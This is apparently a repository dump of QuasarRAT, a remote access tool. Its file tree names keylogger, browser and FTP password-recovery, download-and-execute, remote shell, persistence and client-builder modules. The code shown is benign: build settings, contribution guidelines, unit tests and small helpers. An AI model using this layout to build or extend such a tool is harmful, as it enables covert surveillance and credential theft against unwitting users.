├── .gitattributes ├── .gitignore ├── CHANGELOG.md ├── CONTRIBUTING.md ├── Client.Tests ├── Client.Tests.csproj ├── Core │ ├── Compression │ │ ├── JpgCompression.Tests.cs │ │ └── SafeQuickLZ.Tests.cs │ ├── Encryption │ │ ├── AES.Tests.cs │ │ └── SHA256.Tests.cs │ └── Helper │ │ └── FileHelper.Tests.cs └── Properties │ └── AssemblyInfo.cs ├── Client ├── Client.csproj ├── Config │ └── Settings.cs ├── Core │ ├── Commands │ │ ├── CommandHandler.cs │ │ ├── ConnectionHandler.cs │ │ ├── FileHandler.cs │ │ ├── MiscHandler.cs │ │ ├── RegistryHandler.cs │ │ ├── SurveillanceHandler.cs │ │ ├── SystemHandler.cs │ │ └── TCPConnectionsHandler.cs │ ├── Compression │ │ ├── JpgCompression.cs │ │ └── SafeQuickLZ.cs │ ├── Cryptography │ │ ├── AES.cs │ │ └── SHA256.cs │ ├── Data │ │ ├── ClientData.cs │ │ ├── GeoInformation.cs │ │ ├── Host.cs │ │ └── RecoveredAccount.cs │ ├── Extensions │ │ ├── RegistryKeyExtensions.cs │ │ └── SocketExtensions.cs │ ├── Helper │ │ ├── DevicesHelper.cs │ │ ├── FileHelper.cs │ │ ├── FormatHelper.cs │ │ ├── GeoLocationHelper.cs │ │ ├── HostHelper.cs │ │ ├── KeyloggerHelper.cs │ │ ├── MutexHelper.cs │ │ ├── NativeMethodsHelper.cs │ │ ├── PlatformHelper.cs │ │ ├── RegistryKeyHelper.cs │ │ ├── ScreenHelper.cs │ │ ├── SystemHelper.cs │ │ └── WindowsAccountHelper.cs │ ├── Installation │ │ ├── ClientInstaller.cs │ │ ├── ClientUninstaller.cs │ │ ├── ClientUpdater.cs │ │ └── Startup.cs │ ├── MouseKeyHook │ │ ├── Hook.cs │ │ ├── HotKeys │ │ │ ├── HotKeyArgs.cs │ │ │ ├── HotKeySet.cs │ │ │ ├── HotKeySetCollection.cs │ │ │ ├── HotKeySetsListener.cs │ │ │ └── ReadMe.txt │ │ ├── IKeyboardEvents.cs │ │ ├── IKeyboardMouseEvents.cs │ │ ├── IMouseEvents.cs │ │ ├── Implementation │ │ │ ├── AppEventFacade.cs │ │ │ ├── AppKeyListener.cs │ │ │ ├── AppMouseListener.cs │ │ │ ├── BaseListener.cs │ │ │ ├── ButtonSet.cs │ │ │ ├── Callback.cs │ │ │ ├── EventFacade.cs │ │ │ ├── GlobalEventFacade.cs │ │ │ ├── GlobalKeyListener.cs │ │ │ ├── GlobalMouseListener.cs │ │ │ ├── KeyListener.cs │ │ │ ├── KeyboardState.cs │ │ │ ├── MouseListener.cs │ │ │ └── Subscribe.cs │ │ ├── KeyEventArgsExt.cs │ │ ├── KeyPressEventArgsExt.cs │ │ ├── MouseEventExtArgs.cs │ │ └── WinApi │ │ │ ├── AppMouseStruct.cs │ │ │ ├── CallbackData.cs │ │ │ ├── HookHelper.cs │ │ │ ├── HookIds.cs │ │ │ ├── HookNativeMethods.cs │ │ │ ├── HookProcedure.cs │ │ │ ├── HookProcedureHandle.cs │ │ │ ├── HookResult.cs │ │ │ ├── KeyboardHookStruct.cs │ │ │ ├── KeyboardNativeMethods.cs │ │ │ ├── Messages.cs │ │ │ ├── MouseNativeMethods.cs │ │ │ ├── MouseStruct.cs │ │ │ ├── Point.cs │ │ │ └── ThreadNativeMethods.cs │ ├── NetSerializer │ │ ├── CodeGenContext.cs │ │ ├── Helpers.cs │ │ ├── ITypeSerializer.cs │ │ ├── Primitives.cs │ │ ├── Serializer.cs │ │ └── TypeSerializers │ │ │ ├── ArraySerializer.cs │ │ │ ├── DictionarySerializer.cs │ │ │ ├── EnumSerializer.cs │ │ │ ├── GenericSerializer.cs │ │ │ ├── ObjectSerializer.cs │ │ │ └── PrimitivesSerializer.cs │ ├── Networking │ │ ├── Client.cs │ │ └── QuasarClient.cs │ ├── Packets │ │ ├── ClientPackets │ │ │ ├── DoDownloadFileResponse.cs │ │ │ ├── DoShellExecuteResponse.cs │ │ │ ├── GetAuthenticationResponse.cs │ │ │ ├── GetChangeRegistryValueResponse.cs │ │ │ ├── GetConnectionsResponse.cs │ │ │ ├── GetCreateRegistryKeyResponse.cs │ │ │ ├── GetCreateRegistryValueResponse.cs │ │ │ ├── GetDeleteRegistryKeyResponse.cs │ │ │ ├── GetDeleteRegistryValueResponse.cs │ │ │ ├── GetDesktopResponse.cs │ │ │ ├── GetDirectoryResponse.cs │ │ │ ├── GetDrivesResponse.cs │ │ │ ├── GetKeyloggerLogsResponse.cs │ │ │ ├── GetMonitorsResponse.cs │ │ │ ├── GetPasswordsResponse.cs │ │ │ ├── GetProcessesResponse.cs │ │ │ ├── GetRegistryKeysResponse.cs │ │ │ ├── GetRenameRegistryKeyResponse.cs │ │ │ ├── GetRenameRegistryValueResponse.cs │ │ │ ├── GetStartupItemsResponse.cs │ │ │ ├── GetSystemInfoResponse.cs │ │ │ ├── SetStatus.cs │ │ │ ├── SetStatusFileManager.cs │ │ │ └── SetUserStatus.cs │ │ ├── IPacket.cs │ │ ├── PacketHandler.cs │ │ └── ServerPackets │ │ │ ├── DoAskElevate.cs │ │ │ ├── DoChangeRegistryValue.cs │ │ │ ├── DoClientDisconnect.cs │ │ │ ├── DoClientReconnect.cs │ │ │ ├── DoClientUninstall.cs │ │ │ ├── DoClientUpdate.cs │ │ │ ├── DoCloseConnection.cs │ │ │ ├── DoCreateRegistryKey.cs │ │ │ ├── DoCreateRegistryValue.cs │ │ │ ├── DoDeleteRegistryKey.cs │ │ │ ├── DoDeleteRegistryValue.cs │ │ │ ├── DoDownloadAndExecute.cs │ │ │ ├── DoDownloadFile.cs │ │ │ ├── DoDownloadFileCancel.cs │ │ │ ├── DoKeyboardEvent.cs │ │ │ ├── DoLoadRegistryKey.cs │ │ │ ├── DoMouseEvent.cs │ │ │ ├── DoPathDelete.cs │ │ │ ├── DoPathRename.cs │ │ │ ├── DoProcessKill.cs │ │ │ ├── DoProcessStart.cs │ │ │ ├── DoRenameRegistryKey.cs │ │ │ ├── DoRenameRegistryValue.cs │ │ │ ├── DoShellExecute.cs │ │ │ ├── DoShowMessageBox.cs │ │ │ ├── DoShutdownAction.cs │ │ │ ├── DoStartupItemAdd.cs │ │ │ ├── DoStartupItemRemove.cs │ │ │ ├── DoUploadAndExecute.cs │ │ │ ├── DoUploadFile.cs │ │ │ ├── DoVisitWebsite.cs │ │ │ ├── GetAuthentication.cs │ │ │ ├── GetConnections.cs │ │ │ ├── GetDesktop.cs │ │ │ ├── GetDirectory.cs │ │ │ ├── GetDrives.cs │ │ │ ├── GetKeyloggerLogs.cs │ │ │ ├── GetMonitors.cs │ │ │ ├── GetPasswords.cs │ │ │ ├── GetProcesses.cs │ │ │ ├── GetStartupItems.cs │ │ │ ├── GetSystemInfo.cs │ │ │ └── SetAuthenticationSuccess.cs │ ├── Recovery │ │ ├── Browsers │ │ │ ├── Chrome.cs │ │ │ ├── Firefox.cs │ │ │ ├── InternetExplorer.cs │ │ │ ├── Opera.cs │ │ │ └── Yandex.cs │ │ ├── FtpClients │ │ │ ├── FileZilla.cs │ │ │ └── WinSCP.cs │ │ └── Utilities │ │ │ ├── Chromium.cs │ │ │ ├── JsonUtil.cs │ │ │ └── SQLiteHandler.cs │ ├── Registry │ │ ├── RegSeekerMatch.cs │ │ ├── RegValueData.cs │ │ ├── RegistryEditor.cs │ │ └── RegistrySeeker.cs │ ├── ReverseProxy │ │ ├── Packets │ │ │ ├── ReverseProxyConnect.cs │ │ │ ├── ReverseProxyConnectResponse.cs │ │ │ ├── ReverseProxyData.cs │ │ │ └── ReverseProxyDisconnect.cs │ │ ├── ReverseProxyClient.cs │ │ └── ReverseProxyCommandHandler.cs │ └── Utilities │ │ ├── FileSplit.cs │ │ ├── HostsManager.cs │ │ ├── Keylogger.cs │ │ ├── NativeMethods.cs │ │ ├── Shell.cs │ │ └── UnsafeStreamCodec.cs ├── Enums │ ├── MouseAction.cs │ ├── PathType.cs │ ├── ShutdownAction.cs │ └── UserStatus.cs ├── Program.cs ├── Properties │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ ├── Resources.resx │ ├── Settings.Designer.cs │ └── Settings.settings ├── app.manifest └── images │ └── information.png ├── LICENSE.md ├── QuasarRAT.sln ├── README.md ├── Server.Tests ├── Core │ ├── Compression │ │ └── SafeQuickLZ.Tests.cs │ └── Encryption │ │ └── AES.Tests.cs ├── Properties │ └── AssemblyInfo.cs └── Server.Tests.csproj ├── Server ├── Controls │ ├── DotNetBarTabControl.cs │ ├── HexEditor │ │ ├── ByteCollection.cs │ │ ├── Caret.cs │ │ ├── EditView.cs │ │ ├── HexEditor.cs │ │ ├── HexViewHandler.cs │ │ ├── IKeyMouseEventHandler.cs │ │ └── StringViewHandler.cs │ ├── InputBox.cs │ ├── Line.cs │ ├── ListViewEx.cs │ ├── RapidPictureBox.cs │ ├── RegistryTreeView.cs │ └── RegistryValueLstItem.cs ├── Core │ ├── Build │ │ ├── ClientBuilder.cs │ │ ├── IconInjector.cs │ │ └── Renamer.cs │ ├── Commands │ │ ├── CommandHandler.cs │ │ ├── ConnectionHandler.cs │ │ ├── MiscHandler.cs │ │ ├── RegistryHandler.cs │ │ ├── SurveillanceHandler.cs │ │ ├── SystemHandler.cs │ │ └── TCPConnectionsHandler.cs │ ├── Compression │ │ ├── JpgCompression.cs │ │ └── SafeQuickLZ.cs │ ├── Cryptography │ │ └── AES.cs │ ├── Data │ │ ├── AutostartItem.cs │ │ ├── BuildOptions.cs │ │ ├── BuilderProfile.cs │ │ ├── DownloadAndExecute.cs │ │ ├── Host.cs │ │ ├── Messagebox.cs │ │ ├── RecoveredAccount.cs │ │ ├── RemoteDrive.cs │ │ ├── Settings.cs │ │ ├── Update.cs │ │ ├── UploadAndExecute.cs │ │ └── VisitWebsite.cs │ ├── Extensions │ │ ├── ListViewExtensions.cs │ │ ├── RegistryKeyExtensions.cs │ │ └── SocketExtensions.cs │ ├── Helper │ │ ├── ClipboardHelper.cs │ │ ├── FileHelper.cs │ │ ├── FormatHelper.cs │ │ ├── HostHelper.cs │ │ ├── NativeMethodsHelper.cs │ │ ├── PlatformHelper.cs │ │ ├── RemoteDesktopHelper.cs │ │ └── WindowHelper.cs │ ├── MouseKeyHook │ │ ├── Hook.cs │ │ ├── HotKeys │ │ │ ├── HotKeyArgs.cs │ │ │ ├── HotKeySet.cs │ │ │ ├── HotKeySetCollection.cs │ │ │ ├── HotKeySetsListener.cs │ │ │ └── ReadMe.txt │ │ ├── IKeyboardEvents.cs │ │ ├── IKeyboardMouseEvents.cs │ │ ├── IMouseEvents.cs │ │ ├── Implementation │ │ │ ├── AppEventFacade.cs │ │ │ ├── AppKeyListener.cs │ │ │ ├── AppMouseListener.cs │ │ │ ├── BaseListener.cs │ │ │ ├── ButtonSet.cs │ │ │ ├── Callback.cs │ │ │ ├── EventFacade.cs │ │ │ ├── GlobalEventFacade.cs │ │ │ ├── GlobalKeyListener.cs │ │ │ ├── GlobalMouseListener.cs │ │ │ ├── KeyListener.cs │ │ │ ├── KeyboardState.cs │ │ │ ├── MouseListener.cs │ │ │ └── Subscribe.cs │ │ ├── KeyEventArgsExt.cs │ │ ├── KeyPressEventArgsExt.cs │ │ ├── MouseEventExtArgs.cs │ │ └── WinApi │ │ │ ├── AppMouseStruct.cs │ │ │ ├── CallbackData.cs │ │ │ ├── HookHelper.cs │ │ │ ├── HookIds.cs │ │ │ ├── HookNativeMethods.cs │ │ │ ├── HookProcedure.cs │ │ │ ├── HookProcedureHandle.cs │ │ │ ├── HookResult.cs │ │ │ ├── KeyboardHookStruct.cs │ │ │ ├── KeyboardNativeMethods.cs │ │ │ ├── Messages.cs │ │ │ ├── MouseNativeMethods.cs │ │ │ ├── MouseStruct.cs │ │ │ ├── Point.cs │ │ │ └── ThreadNativeMethods.cs │ ├── NetSerializer │ │ ├── CodeGenContext.cs │ │ ├── Helpers.cs │ │ ├── ITypeSerializer.cs │ │ ├── Primitives.cs │ │ ├── Serializer.cs │ │ └── TypeSerializers │ │ │ ├── ArraySerializer.cs │ │ │ ├── DictionarySerializer.cs │ │ │ ├── EnumSerializer.cs │ │ │ ├── GenericSerializer.cs │ │ │ ├── ObjectSerializer.cs │ │ │ └── PrimitivesSerializer.cs │ ├── Networking │ │ ├── Client.cs │ │ ├── QuasarServer.cs │ │ ├── Server.cs │ │ ├── UserState.cs │ │ └── Utilities │ │ │ ├── PooledBufferManager.cs │ │ │ └── UPnP.cs │ ├── Packets │ │ ├── ClientPackets │ │ │ ├── DoDownloadFileResponse.cs │ │ │ ├── DoShellExecuteResponse.cs │ │ │ ├── GetAuthenticationResponse.cs │ │ │ ├── GetChangeRegistryValueResponse.cs │ │ │ ├── GetConnectionsResponse.cs │ │ │ ├── GetCreateRegistryKeyResponse.cs │ │ │ ├── GetCreateRegistryValueResponse.cs │ │ │ ├── GetDeleteRegistryKeyResponse.cs │ │ │ ├── GetDeleteRegistryValueResponse.cs │ │ │ ├── GetDesktopResponse.cs │ │ │ ├── GetDirectoryResponse.cs │ │ │ ├── GetDrivesResponse.cs │ │ │ ├── GetKeyloggerLogsResponse.cs │ │ │ ├── GetMonitorsResponse.cs │ │ │ ├── GetPasswordsResponse.cs │ │ │ ├── GetProcessesResponse.cs │ │ │ ├── GetRegistryKeysResponse.cs │ │ │ ├── GetRenameRegistryKeyResponse.cs │ │ │ ├── GetRenameRegistryValueResponse.cs │ │ │ ├── GetStartupItemsResponse.cs │ │ │ ├── GetSystemInfoResponse.cs │ │ │ ├── SetStatus.cs │ │ │ ├── SetStatusFileManager.cs │ │ │ └── SetUserStatus.cs │ │ ├── IPacket.cs │ │ ├── PacketHandler.cs │ │ └── ServerPackets │ │ │ ├── DoAskElevate.cs │ │ │ ├── DoChangeRegistryValue.cs │ │ │ ├── DoClientDisconnect.cs │ │ │ ├── DoClientReconnect.cs │ │ │ ├── DoClientUninstall.cs │ │ │ ├── DoClientUpdate.cs │ │ │ ├── DoCloseConnection.cs │ │ │ ├── DoCreateRegistryKey.cs │ │ │ ├── DoCreateRegistryValue.cs │ │ │ ├── DoDeleteRegistryKey.cs │ │ │ ├── DoDeleteRegistryValue.cs │ │ │ ├── DoDownloadAndExecute.cs │ │ │ ├── DoDownloadFile.cs │ │ │ ├── DoDownloadFileCancel.cs │ │ │ ├── DoKeyboardEvent.cs │ │ │ ├── DoLoadRegistryKey.cs │ │ │ ├── DoMouseEvent.cs │ │ │ ├── DoPathDelete.cs │ │ │ ├── DoPathRename.cs │ │ │ ├── DoProcessKill.cs │ │ │ ├── DoProcessStart.cs │ │ │ ├── DoRenameRegistryKey.cs │ │ │ ├── DoRenameRegistryValue.cs │ │ │ ├── DoShellExecute.cs │ │ │ ├── DoShowMessageBox.cs │ │ │ ├── DoShutdownAction.cs │ │ │ ├── DoStartupItemAdd.cs │ │ │ ├── DoStartupItemRemove.cs │ │ │ ├── DoUploadAndExecute.cs │ │ │ ├── DoUploadFile.cs │ │ │ ├── DoVisitWebsite.cs │ │ │ ├── GetAuthentication.cs │ │ │ ├── GetConnections.cs │ │ │ ├── GetDesktop.cs │ │ │ ├── GetDirectory.cs │ │ │ ├── GetDrives.cs │ │ │ ├── GetKeyloggerLogs.cs │ │ │ ├── GetMonitors.cs │ │ │ ├── GetPasswords.cs │ │ │ ├── GetProcesses.cs │ │ │ ├── GetStartupItems.cs │ │ │ ├── GetSystemInfo.cs │ │ │ └── SetAuthenticationSuccess.cs │ ├── Registry │ │ ├── RegSeekerMatch.cs │ │ └── RegValueData.cs │ ├── ReverseProxy │ │ ├── Packets │ │ │ ├── ReverseProxyConnect.cs │ │ │ ├── ReverseProxyConnectResponse.cs │ │ │ ├── ReverseProxyData.cs │ │ │ └── ReverseProxyDisconnect.cs │ │ ├── ReverseProxyClient.cs │ │ ├── ReverseProxyCommandHandler.cs │ │ └── ReverseProxyServer.cs │ └── Utilities │ │ ├── FileSplit.cs │ │ ├── FrameCounter.cs │ │ ├── ListViewColumnSorter.cs │ │ ├── NativeMethods.cs │ │ ├── NoIpUpdater.cs │ │ └── UnsafeStreamCodec.cs ├── Enums │ ├── MouseAction.cs │ ├── PathType.cs │ ├── ShutdownAction.cs │ └── UserStatus.cs ├── Forms │ ├── FrmAbout.Designer.cs │ ├── FrmAbout.cs │ ├── FrmAbout.resx │ ├── FrmAddToAutostart.Designer.cs │ ├── FrmAddToAutostart.cs │ ├── FrmAddToAutostart.resx │ ├── FrmBuilder.Designer.cs │ ├── FrmBuilder.cs │ ├── FrmBuilder.resx │ ├── FrmConnections.Designer.cs │ ├── FrmConnections.cs │ ├── FrmConnections.resx │ ├── FrmDownloadAndExecute.Designer.cs │ ├── FrmDownloadAndExecute.cs │ ├── FrmDownloadAndExecute.resx │ ├── FrmFileManager.Designer.cs │ ├── FrmFileManager.cs │ ├── FrmFileManager.resx │ ├── FrmKeylogger.Designer.cs │ ├── FrmKeylogger.cs │ ├── FrmKeylogger.resx │ ├── FrmMain.Designer.cs │ ├── FrmMain.cs │ ├── FrmMain.resx │ ├── FrmPasswordRecovery.Designer.cs │ ├── FrmPasswordRecovery.cs │ ├── FrmPasswordRecovery.resx │ ├── FrmRegValueEditBinary.Designer.cs │ ├── FrmRegValueEditBinary.cs │ ├── FrmRegValueEditBinary.resx │ ├── FrmRegValueEditMultiString.Designer.cs │ ├── FrmRegValueEditMultiString.cs │ ├── FrmRegValueEditMultiString.resx │ ├── FrmRegValueEditString.Designer.cs │ ├── FrmRegValueEditString.cs │ ├── FrmRegValueEditString.resx │ ├── FrmRegValueEditWord.Designer.cs │ ├── FrmRegValueEditWord.cs │ ├── FrmRegValueEditWord.resx │ ├── FrmRegistryEditor.Designer.cs │ ├── FrmRegistryEditor.cs │ ├── FrmRegistryEditor.resx │ ├── FrmRemoteDesktop.Designer.cs │ ├── FrmRemoteDesktop.cs │ ├── FrmRemoteDesktop.resx │ ├── FrmRemoteShell.Designer.cs │ ├── FrmRemoteShell.cs │ ├── FrmRemoteShell.resx │ ├── FrmReverseProxy.Designer.cs │ ├── FrmReverseProxy.cs │ ├── FrmReverseProxy.resx │ ├── FrmSettings.Designer.cs │ ├── FrmSettings.cs │ ├── FrmSettings.resx │ ├── FrmShowMessagebox.Designer.cs │ ├── FrmShowMessagebox.cs │ ├── FrmShowMessagebox.resx │ ├── FrmStartupManager.Designer.cs │ ├── FrmStartupManager.cs │ ├── FrmStartupManager.resx │ ├── FrmSystemInformation.Designer.cs │ ├── FrmSystemInformation.cs │ ├── FrmSystemInformation.resx │ ├── FrmTaskManager.Designer.cs │ ├── FrmTaskManager.cs │ ├── FrmTaskManager.resx │ ├── FrmTermsOfUse.Designer.cs │ ├── FrmTermsOfUse.cs │ ├── FrmTermsOfUse.resx │ ├── FrmUpdate.Designer.cs │ ├── FrmUpdate.cs │ ├── FrmUpdate.resx │ ├── FrmUploadAndExecute.Designer.cs │ ├── FrmUploadAndExecute.cs │ ├── FrmUploadAndExecute.resx │ ├── FrmVisitWebsite.Designer.cs │ ├── FrmVisitWebsite.cs │ └── FrmVisitWebsite.resx ├── Program.cs ├── Properties │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ ├── Resources.resx │ ├── Settings.Designer.cs │ └── Settings.settings ├── Quasar_Server.ico ├── Resources │ ├── actions.png │ ├── delete.png │ ├── restart.png │ ├── shutdown.png │ ├── standby.png │ └── textfield_rename.png ├── Server.csproj ├── app.manifest ├── flags │ ├── ad.png │ ├── ae.png │ ├── af.png │ ├── ag.png │ ├── ai.png │ ├── al.png │ ├── am.png │ ├── an.png │ ├── ao.png │ ├── ar.png │ ├── as.png │ ├── at.png │ ├── au.png │ ├── aw.png │ ├── ax.png │ ├── az.png │ ├── ba.png │ ├── bb.png │ ├── bd.png │ ├── be.png │ ├── bf.png │ ├── bg.png │ ├── bh.png │ ├── bi.png │ ├── bj.png │ ├── bm.png │ ├── bn.png │ ├── bo.png │ ├── br.png │ ├── bs.png │ ├── bt.png │ ├── bv.png │ ├── bw.png │ ├── by.png │ ├── bz.png │ ├── ca.png │ ├── catalonia.png │ ├── cc.png │ ├── cd.png │ ├── cf.png │ ├── cg.png │ ├── ch.png │ ├── ci.png │ ├── ck.png │ ├── cl.png │ ├── cm.png │ ├── cn.png │ ├── co.png │ ├── cr.png │ ├── cs.png │ ├── cu.png │ ├── cv.png │ ├── cx.png │ ├── cy.png │ ├── cz.png │ ├── de.png │ ├── dj.png │ ├── dk.png │ ├── dm.png │ ├── do.png │ ├── dz.png │ ├── ec.png │ ├── ee.png │ ├── eg.png │ ├── eh.png │ ├── england.png │ ├── er.png │ ├── es.png │ ├── et.png │ ├── europeanunion.png │ ├── fam.png │ ├── fi.png │ ├── fj.png │ ├── fk.png │ ├── fm.png │ ├── fo.png │ ├── fr.png │ ├── ga.png │ ├── gb.png │ ├── gd.png │ ├── ge.png │ ├── gf.png │ ├── gh.png │ ├── gi.png │ ├── gl.png │ ├── gm.png │ ├── gn.png │ ├── gp.png │ ├── gq.png │ ├── gr.png │ ├── gs.png │ ├── gt.png │ ├── gu.png │ ├── gw.png │ ├── gy.png │ ├── hk.png │ ├── hm.png │ ├── hn.png │ ├── hr.png │ ├── ht.png │ ├── hu.png │ ├── id.png │ ├── ie.png │ ├── il.png │ ├── in.png │ ├── io.png │ ├── iq.png │ ├── ir.png │ ├── is.png │ ├── it.png │ ├── jm.png │ ├── jo.png │ ├── jp.png │ ├── ke.png │ ├── kg.png │ ├── kh.png │ ├── ki.png │ ├── km.png │ ├── kn.png │ ├── kp.png │ ├── kr.png │ ├── kw.png │ ├── ky.png │ ├── kz.png │ ├── la.png │ ├── lb.png │ ├── lc.png │ ├── li.png │ ├── lk.png │ ├── lr.png │ ├── ls.png │ ├── lt.png │ ├── lu.png │ ├── lv.png │ ├── ly.png │ ├── ma.png │ ├── mc.png │ ├── md.png │ ├── me.png │ ├── mg.png │ ├── mh.png │ ├── mk.png │ ├── ml.png │ ├── mm.png │ ├── mn.png │ ├── mo.png │ ├── mp.png │ ├── mq.png │ ├── mr.png │ ├── ms.png │ ├── mt.png │ ├── mu.png │ ├── mv.png │ ├── mw.png │ ├── mx.png │ ├── my.png │ ├── mz.png │ ├── na.png │ ├── nc.png │ ├── ne.png │ ├── nf.png │ ├── ng.png │ ├── ni.png │ ├── nl.png │ ├── no.png │ ├── np.png │ ├── nr.png │ ├── nu.png │ ├── nz.png │ ├── om.png │ ├── pa.png │ ├── pe.png │ ├── pf.png │ ├── pg.png │ ├── ph.png │ ├── pk.png │ ├── pl.png │ ├── pm.png │ ├── pn.png │ ├── pr.png │ ├── ps.png │ ├── pt.png │ ├── pw.png │ ├── py.png │ ├── qa.png │ ├── re.png │ ├── ro.png │ ├── rs.png │ ├── ru.png │ ├── rw.png │ ├── sa.png │ ├── sb.png │ ├── sc.png │ ├── scotland.png │ ├── sd.png │ ├── se.png │ ├── sg.png │ ├── sh.png │ ├── si.png │ ├── sj.png │ ├── sk.png │ ├── sl.png │ ├── sm.png │ ├── sn.png │ ├── so.png │ ├── sr.png │ ├── st.png │ ├── sv.png │ ├── sy.png │ ├── sz.png │ ├── tc.png │ ├── td.png │ ├── tf.png │ ├── tg.png │ ├── th.png │ ├── tj.png │ ├── tk.png │ ├── tl.png │ ├── tm.png │ ├── tn.png │ ├── to.png │ ├── tr.png │ ├── tt.png │ ├── tv.png │ ├── tw.png │ ├── tz.png │ ├── ua.png │ ├── ug.png │ ├── um.png │ ├── us.png │ ├── uy.png │ ├── uz.png │ ├── va.png │ ├── vc.png │ ├── ve.png │ ├── vg.png │ ├── vi.png │ ├── vn.png │ ├── vu.png │ ├── wales.png │ ├── wf.png │ ├── ws.png │ ├── xy.png │ ├── ye.png │ ├── yt.png │ ├── za.png │ ├── zm.png │ └── zw.png ├── icons │ └── Quasar_Server.png ├── images │ ├── application.png │ ├── application_add.png │ ├── application_delete.png │ ├── archive.png │ ├── back.png │ ├── bricks.png │ ├── broom.png │ ├── cancel.png │ ├── computer.png │ ├── copy.png │ ├── done.png │ ├── download.png │ ├── drive_go.png │ ├── eye.png │ ├── file.png │ ├── folder.png │ ├── image.png │ ├── information.png │ ├── key_go.png │ ├── keyboard_add.png │ ├── keyboard_delete.png │ ├── lightning.png │ ├── logger.png │ ├── monitor.png │ ├── mouse_add.png │ ├── mouse_delete.png │ ├── movie.png │ ├── music.png │ ├── pdf.png │ ├── refresh.png │ ├── reg_binary.png │ ├── reg_string.png │ ├── registry.png │ ├── run.png │ ├── save.png │ ├── server-add.png │ ├── server-disconnect.png │ ├── server-reconnect.png │ ├── server-uninstall.png │ ├── server.png │ ├── server_link.png │ ├── startup_programs.png │ ├── task-manager.png │ ├── terminal.png │ ├── text.png │ ├── uac-shield.png │ ├── upload.png │ ├── website.png │ ├── word.png │ ├── world_go.png │ └── world_link.png └── lib │ ├── Mono.Cecil.dll │ ├── Mono.Nat.dll │ └── Vestris.ResourceLib.dll ├── appveyor.yml ├── build-debug.bat └── build-release.bat /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | *.sln merge=union 7 | *.csproj merge=union 8 | *.vbproj merge=union 9 | *.fsproj merge=union 10 | *.dbproj merge=union 11 | 12 | # Standard to msysgit 13 | *.doc diff=astextplain 14 | *.DOC diff=astextplain 15 | *.docx diff=astextplain 16 | *.DOCX diff=astextplain 17 | *.dot diff=astextplain 18 | *.DOT diff=astextplain 19 | *.pdf diff=astextplain 20 | *.PDF diff=astextplain 21 | *.rtf diff=astextplain 22 | *.RTF diff=astextplain 23 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | #Contributing 2 | 3 | 1. Fork it 4 | 2. Create your feature branch (`git checkout -b my-new-feature`) 5 | 3. Commit your changes (`git commit -am 'Add some feature'`) 6 | 4. Push to the branch (`git push origin my-new-feature`) 7 | 5. Create new Pull Request 8 | 9 | ##Guidelines for Pull Requests: 10 | 11 | 1. Respect the coding style of QuasarRAT. 12 | 2. Make a single change per commit. 13 | 3. Make your modification compact - don't reformat source code in your request. It makes code review more difficult. 14 | 4. PR of reformatting (changing of ws/TAB, line endings or coding style) of source code won't be accepted. 15 | 16 | In short: The easier the code review is, the better the chance your pull request will get accepted. 17 | -------------------------------------------------------------------------------- /Client.Tests/Core/Compression/JpgCompression.Tests.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Drawing; 3 | using Microsoft.VisualStudio.TestTools.UnitTesting; 4 | using xClient.Core.Compression; 5 | 6 | namespace xClient.Tests.Core.Compression 7 | { 8 | [TestClass] 9 | public class JpgCompressionTests 10 | { 11 | [TestMethod, TestCategory("Compression")] 12 | public void CompressionTest() 13 | { 14 | var quality = Int64.MaxValue; 15 | var jpg = new JpgCompression(quality); 16 | var bitmap = new Bitmap(200, 200); 17 | 18 | var result = jpg.Compress(bitmap); 19 | 20 | Assert.IsNotNull(result); 21 | CollectionAssert.AllItemsAreNotNull(result); 22 | } 23 | } 24 | } -------------------------------------------------------------------------------- /Client.Tests/Core/Encryption/SHA256.Tests.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.VisualStudio.TestTools.UnitTesting; 2 | using xClient.Core.Cryptography; 3 | using xClient.Core.Helper; 4 | 5 | namespace xClient.Tests.Core.Encryption 6 | { 7 | [TestClass] 8 | public class SHA256Tests 9 | { 10 | [TestMethod, TestCategory("Encryption")] 11 | public void ComputeHashTest() 12 | { 13 | var input = FileHelper.GetRandomFilename(100); 14 | var result = SHA256.ComputeHash(input); 15 | 16 | Assert.IsNotNull(result); 17 | Assert.AreNotEqual(result, input); 18 | } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /Client/Core/Commands/CommandHandler.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using System.Threading; 3 | using xClient.Core.Registry; 4 | using xClient.Core.Utilities; 5 | 6 | namespace xClient.Core.Commands 7 | { 8 | /* THIS PARTIAL CLASS SHOULD CONTAIN VARIABLES NECESSARY FOR VARIOUS COMMANDS (if needed). */ 9 | public static partial class CommandHandler 10 | { 11 | public static UnsafeStreamCodec StreamCodec; 12 | private static Shell _shell; 13 | private static Dictionary _renamedFiles = new Dictionary(); 14 | private static Dictionary _canceledDownloads = new Dictionary(); 15 | private const string DELIMITER = "$E$"; 16 | private static readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file downloads 17 | } 18 | } -------------------------------------------------------------------------------- /Client/Core/Cryptography/SHA256.cs: -------------------------------------------------------------------------------- 1 | using System.Security.Cryptography; 2 | using System.Text; 3 | 4 | namespace xClient.Core.Cryptography 5 | { 6 | public static class SHA256 7 | { 8 | public static string ComputeHash(string input) 9 | { 10 | byte[] data = Encoding.UTF8.GetBytes(input); 11 | 12 | using (SHA256Managed sha = new SHA256Managed()) 13 | { 14 | data = sha.ComputeHash(data, 0, data.Length); 15 | } 16 | 17 | StringBuilder hash = new StringBuilder(); 18 | 19 | foreach (byte _byte in data) 20 | hash.Append(_byte.ToString("X2")); 21 | 22 | return hash.ToString().ToUpper(); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Client/Core/Data/ClientData.cs: -------------------------------------------------------------------------------- 1 | using System.Windows.Forms; 2 | 3 | namespace xClient.Core.Data 4 | { 5 | public static class ClientData 6 | { 7 | public static string CurrentPath { get; set; } 8 | public static string InstallPath { get; set; } 9 | public static bool AddToStartupFailed { get; set; } 10 | 11 | static ClientData() 12 | { 13 | CurrentPath = Application.ExecutablePath; 14 | } 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /Client/Core/Data/Host.cs: -------------------------------------------------------------------------------- 1 | namespace 